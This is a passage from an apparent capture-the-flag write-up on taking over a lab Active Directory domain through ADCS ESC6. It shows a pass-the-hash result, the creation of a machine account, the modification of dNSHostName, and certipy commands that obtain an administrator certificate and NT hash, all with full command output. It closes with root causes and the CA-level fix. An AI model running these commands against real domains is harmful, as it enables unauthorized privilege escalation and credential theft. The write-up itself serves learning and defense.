SMB         10.48.140.12    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ossuary.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.140.12    445    DC01             [+] ossuary.local\administrator:835fdff612231e2a071231c13e06827f (admin)
SMB         10.48.140.12    445    DC01             [+] Executed command via wmiexec
SMB         10.48.140.12    445    DC01             #< CLIXML
SMB         10.48.140.12    445    DC01             TCTF{U$eR_$uppl!ed_$@n_!$_d@nGeR}
SMB         10.48.140.12    445    DC01             <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>
1
TCTF{U$eR_$uppl!ed_$@n_!$_d@nGeR}

Domain compromised.

Alternate Escalation - ESC6 via Machine Account (MAQ)

This path is relevant when cert_admin isn’t available — maybe it was never deleted, or you haven’t found it yet. The key insight is that ESC6 is a CA-level flag, so the vulnerability isn’t tied to any specific template or account. We just need any valid enrollment path. By default, MachineAccountQuota is set to 10 in Active Directory, meaning any authenticated domain user can add up to 10 computer accounts to the domain. We confirmed this was still the case:

1
nxc ldap ossuary.local -u robert -p 'password@123' -M maq
1
2
3
4
LDAP        10.49.184.247   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ossuary.local) (signing:None) (channel binding:Never)
LDAP        10.49.184.247   389    DC01             [+] ossuary.local\robert:password@123
MAQ         10.49.184.247   389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.49.184.247   389    DC01             MachineAccountQuota: 10

The plan: create a fake machine account, configure its dNSHostName attribute to match the domain (required for the Machine template’s name validation), then use it to enroll in the Machine template. With ESC6 active, we can specify Administrator@ossuary.local as the UPN in the SAN — the CA will issue it without question.

Step 1 : Create the machine account

1
2
3
4
5
addcomputer.py -computer-name 'pwn$' -computer-pass 'Passw0rd!' -dc-ip 10.48.174.90 'ossuary.local/robert:Password@123'  
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies    
  
[*] Successfully added machine account pwn$ with password Passw0rd!.

Step 2 : Set dNSHostName

The Machine template checks that the certificate’s DNS SAN matches the enrolling computer’s dNSHostName. We set it to something that looks legitimate:

1
2
3
4
5
6
ldapmodify -H ldap://10.48.174.90 -D 'robert@ossuary.local' -w 'Password@123' <<EOF  
dn: CN=pwn,CN=Computers,DC=OSSUARY,DC=LOCAL  
changetype: modify  
replace: dNSHostName  
dNSHostName: pwn.ossuary.local      
EOF  
1
modifying entry "CN=pwn,CN=Computers,DC=OSSUARY,DC=LOCAL"

Step 3 : Request the certificate with admin UPN

1
2
certipy req -dc-ip 10.48.174.90 -target-ip 10.48.174.90 -u 'pwn$@ossuary.local' -p 'Passw0rd!' -ca ossuary-DC01-CA -template Machine -upn administrator@o  
ssuary.local -dynamic-endpoint -debug -timeout 120 

The CA sees a valid machine account enrolling in the Machine template — nothing suspicious from its perspective. But because EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it also embeds our attacker-controlled UPN in the SAN. The issued certificate now carries Administrator@ossuary.local as a trusted identity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
  
[+] DC host (-dc-host) not specified. Using domain as DC host  
[+] Nameserver: '10.48.174.90'  
[+] DC IP: '10.48.174.90'  
[+] DC Host: 'OSSUARY.LOCAL'  
[+] Target IP: '10.48.174.90'  
[+] Remote Name: '10.48.174.90'  
[+] Domain: 'OSSUARY.LOCAL'  
[+] Username: 'PWN$'  
[+] Generating RSA key  
[*] Requesting certificate via RPC  
[+] Trying to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE  
[+] Resolved dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE to ncacn_ip_tcp:10.48.174.90[49715]  
[+] Trying to connect to endpoint: ncacn_ip_tcp:10.48.174.90[49715]  
[+] Connected to endpoint: ncacn_ip_tcp:10.48.174.90[49715]  
[*] Request ID is 19  
[*] Successfully requested certificate  
[*] Got certificate with UPN 'administrator@ossuary.local'  
[*] Certificate has no object SID  
[*] Try using -sid to set the object SID or see the wiki for more details  
[*] Saving certificate and private key to 'administrator.pfx'  
[+] Attempting to write data to 'administrator.pfx'  
[+] Data written to 'administrator.pfx'  
[*] Wrote certificate and private key to 'administrator.pfx'  

Step 4 : Authenticate and retrieve the NT hash

1
certipy auth -pfx administrator.pfx -dc-ip 10.48.174.90 -debug    
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Certipy v5.0.4 - by Oliver Lyak (ly4k)  
  
[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations  
[+] Nameserver: '10.48.174.90'  
[+] DC IP: '10.48.174.90'  
[+] DC Host: ''  
[+] Target IP: '10.48.174.90'  
[+] Remote Name: '10.48.174.90'  
[+] Domain: ''  
[+] Username: ''  
[*] Certificate identities:  
[*]     SAN UPN: 'administrator@ossuary.local'  
[*] Using principal: 'administrator@ossuary.local'  
[*] Trying to get TGT...  
[+] Sending AS-REQ to KDC ossuary.local (10.48.174.90)  
[*] Got TGT  
[*] Saving credential cache to 'administrator.ccache'  
[+] Attempting to write data to 'administrator.ccache'  
[+] Data written to 'administrator.ccache'  
[*] Wrote credential cache to 'administrator.ccache'  
[*] Trying to retrieve NT hash for 'administrator'  
[*] Got hash for 'administrator@ossuary.local': aad3b435b51404eeaad3b435b51404ee:835fdff612231e2a071231c13e06827f

Same end result as the primary path — Administrator NT hash, full domain compromise. This alternate route demonstrates that ESC6 remediation must happen at the CA level. Deleting cert_admin, locking down templates, or removing enrollment rights doesn’t matter as long as that CA flag stays enabled.

Summary

StepTechniqueRoot Cause
SMB → welcome_email.emlUnauthenticated share accessGuest read on Public share; credentials in plaintext
andrewPassword sprayDefault onboarding password not changed
svc_intern hashTargeted KerberoastWeak password on SPN account; RC4 encryption allowed
michaelPassword reuseSame password across svc_intern and user account
thomasGenericAll abuseOverpermissioned ACL — no least-privilege
robertAddMember + GenericAll chainGroup membership grants excessive rights
cert_adminAD Recycle Bin recoveryDeleted privileged accounts still recoverable during tombstone period
Domain AdminADCS ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 enabled — CA trusts user-supplied SANs

Why ESC6 is Particularly Severe

Most ADCS vulnerabilities are template-level fix the template, fix the vuln. ESC6 is different. It’s a CA-level flag that overrides all template restrictions globally. Every template that allows Client Authentication becomes exploitable by any authenticated user who can enroll. The fix is a one-liner (certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2) followed by restarting the Certificate Authority service, but it requires knowing the flag exists in the first place hence why it persists in environments where ADCS was never audited.

This post is licensed under CC BY 4.0 by the author.